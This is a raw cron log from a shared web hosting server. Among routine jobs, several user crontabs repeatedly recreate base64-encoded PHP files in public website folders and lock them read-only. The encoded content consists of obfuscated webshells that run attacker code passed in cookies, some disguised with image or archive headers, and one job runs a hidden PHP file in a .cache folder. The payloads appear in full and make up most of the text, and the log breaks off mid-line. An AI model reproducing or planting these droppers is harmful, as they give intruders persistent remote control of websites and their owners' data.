Mar  1 16:47:02 medusa CROND[18513]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  1 16:47:02 medusa CROND[18516]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:47:02 medusa CROND[18517]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:48:01 medusa CROND[8369]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:48:01 medusa CROND[8370]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 16:48:01 medusa CROND[8371]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:48:01 medusa CROND[8372]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 16:48:01 medusa CROND[8373]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:48:01 medusa CROND[8374]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:48:01 medusa CROND[8375]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:48:01 medusa CROND[8377]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:48:01 medusa CROND[8379]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:48:01 medusa CROND[8383]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:48:01 medusa CROND[8385]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:48:01 medusa CROND[8390]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:48:01 medusa CROND[8392]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:49:01 medusa CROND[30672]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:49:01 medusa CROND[30691]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:49:01 medusa CROND[30692]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:49:01 medusa CROND[30693]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:49:01 medusa CROND[30694]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:49:01 medusa CROND[30695]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:49:01 medusa CROND[30696]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:49:01 medusa CROND[30697]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 16:49:01 medusa CROND[30698]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:49:01 medusa CROND[30702]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:49:01 medusa CROND[30711]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:49:01 medusa CROND[30712]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > 